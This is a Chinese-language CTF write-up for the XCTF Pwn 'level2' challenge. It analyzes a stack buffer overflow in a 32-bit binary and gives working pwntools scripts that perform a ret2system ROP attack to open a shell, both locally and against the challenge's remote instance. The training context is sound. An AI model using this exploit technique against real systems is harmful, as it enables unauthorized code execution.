题目描述

菜鸡请教大神如何获得flag,大神告诉他‘使用面向返回的编程(ROP)就可以了’

Solution

拿到题目,先检查文件信息:

002-1.png

这是一个 ELF32 文件,没有金丝雀栈保护器,栈不可执行(NX),不是位置无关程序(No PIE)。运行程序,用户输入一串字符后,程序打印Hello World!退出。我们将其放入 IDA 进行分析,观察main()函数:

002-2.png

程序进入vulnerable_function()后,执行system("echo 'Hello World!'");。我们跟进到vulnerable_function()

002-3.png

该函数中,有一个大小为 136 的栈上缓冲区,但read()从标准输入读取 256 个字节,这里存在缓冲区溢出的风险。我们按 Shift + F12 观察字符串:

002-4.png

我们发现.data section存在字符串/bin/sh

那本题的思路就明朗了。ELF32 的函数调用是通过栈来传递参数的,vulnerable_function()函数返回后,会压栈echo 'Hello World',在执行system()。我们比较难通过栈溢出修改system()的参数。

我们可以使用 ROP 技术,返回到.text段,执行system()函数,参数从.data段获取。我们借助 Pwntools 可以方便的完成这些工作。使用 Pwntools 完成此类工作有一个公式

XCTF-Pwn-Practice-level2 - 图5%20%2B%20system%5C_addr%20%2B%20return%5C_addr%20%2B%20shell%5C_addr%0A#card=math&code=payload%20%3D%5C%20%27A%27%20%2A%20%28offset%20%2B%204%29%20%2B%20system%5C_addr%20%2B%20return%5C_addr%20%2B%20shell%5C_addr%0A&id=OVNNR)

根据这个公式,我们的offset0x88,我们只是为了取得 Shell,return_addr就随便一个值,我们要找到system_addr

  1. from pwn import *
  2. sys_addr = elf.symbols['system']

对于shell_addr,使用 ROPgadget:

$ ROPgadget --binary ./002 --string '/bin/sh'
Strings information
============================================================
0x0804a024 : /bin/sh

编写漏洞利用脚本

from pwn import *

conn = process('./002')

elf = ELF('./002')
sys_addr = elf.symbols['system']
sh_addr = 0x0804a024

payload = b'A' * (0x88 + 4) + p32(sys_addr) + \
    p32(4) + p32(sh_addr)


conn.sendlineafter('Input:', payload)
conn.interactive()

本地测试的效果如下:

002-5.png

回到题目,修改我们之前写的漏洞利用脚本:

from pwn import *

#conn = process('./002')
conn = remote("111.200.241.244", 60388)

elf = ELF('./002')
sys_addr = elf.symbols['system']
sh_addr = 0x0804a024

payload = b'A' * (0x88 + 4) + p32(sys_addr) + \
    p32(4) + p32(sh_addr)


conn.sendlineafter('Input:', payload)
conn.interactive()

打开实例:

002-6.png